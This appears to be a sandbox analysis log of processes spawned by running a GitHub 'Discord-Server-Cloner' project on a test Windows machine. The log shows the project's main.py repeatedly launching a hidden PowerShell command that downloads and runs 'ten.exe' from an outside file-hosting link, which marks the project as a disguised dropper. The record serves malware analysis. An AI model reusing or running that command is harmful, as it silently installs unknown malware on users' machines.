PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 1348	916	chrome.exe	82
PID 916 wrote to memory of 3700	916	chrome.exe	83
PID 916 wrote to memory of 3700	916	chrome.exe	83
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84
PID 916 wrote to memory of 1816	916	chrome.exe	84

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/ciptoxm/Discord-Server-Cloner
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb586fab58,0x7ffb586fab68,0x7ffb586fab78
  2⤵
  PID:928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1528 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:2
  2⤵
  PID:1348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1912 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:3700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2172 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:1816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2840 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:1536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2892 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:2668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4540 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:2396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4312 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:4248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4328 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4752 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:4780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4944 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:3612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5072 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4900 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:3588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=5280 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:3144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=2956 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:4104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4912 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:1
  2⤵
  PID:684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4664 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:2080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3180 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:1740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5140 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  - NTFS ADS
  PID:2664
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5444 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:3160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5000 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:4572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5804 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:5052
- C:\Users\Admin\Downloads\python-3.12.3-amd64.exe
  "C:\Users\Admin\Downloads\python-3.12.3-amd64.exe"
  2⤵
  - Executes dropped EXE
  PID:892
- - C:\Windows\Temp\{C3B6195A-E283-4ECA-8613-9E134BCDD527}\.cr\python-3.12.3-amd64.exe
    "C:\Windows\Temp\{C3B6195A-E283-4ECA-8613-9E134BCDD527}\.cr\python-3.12.3-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.3-amd64.exe" -burn.filehandle.attached=596 -burn.filehandle.self=604
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:4432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:2548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4044 --field-trial-handle=1824,i,2013001988894500619,9681739036368851180,131072 /prefetch:8
  2⤵
  PID:1032

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:1524

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Registers COM server for autorun
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2028
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 63944BB61B8B343D7A8870A57A7C102D
  2⤵
  - Loads dropped DLL
  PID:364
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -E -s -m ensurepip -U --default-pip
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2316
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmphqcvafsi\\pip-24.0-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmphqcvafsi', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1980

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3320

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Discord-Server-Cloner-main\start.bat" "
1⤵
PID:784
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:1644
- C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
  python main.py
  2⤵
  PID:3048

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:2612
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4324

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:3620
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4664

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:5100
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1256

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Discord-Server-Cloner-main\start.bat" "
1⤵
PID:4864
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:4932
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4716
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3380
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  python main.py
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1684

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:2276
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  PID:1020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:2932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4620

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
1⤵
- Executes dropped EXE
PID:772
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
  2⤵
  - Executes dropped EXE
  PID:4236

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
1⤵
- Executes dropped EXE
PID:1976
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
  2⤵
  - Executes dropped EXE
  PID:3044

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
1⤵
- Executes dropped EXE
PID:1696
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
  2⤵
  - Executes dropped EXE
  PID:2504

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:2164
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  PID:2548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Discord-Server-Cloner-main\start.bat" "
1⤵
PID:4452
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:4352
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    PID:1056
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2200
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  python main.py
  2⤵
  - Executes dropped EXE
  PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:4372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4924

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
1⤵
- Executes dropped EXE
PID:3844
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
  2⤵
  - Executes dropped EXE
  PID:1680

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:3024
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:1312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Discord-Server-Cloner-main\start.bat" "
1⤵
PID:1104
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:3364
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    PID:4556
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2824
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  python main.py
  2⤵
  - Executes dropped EXE
  PID:3108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:72
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2736

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1392
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\config.json"
  2⤵
  - Checks processor information in registry
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:3660
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    PID:804
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
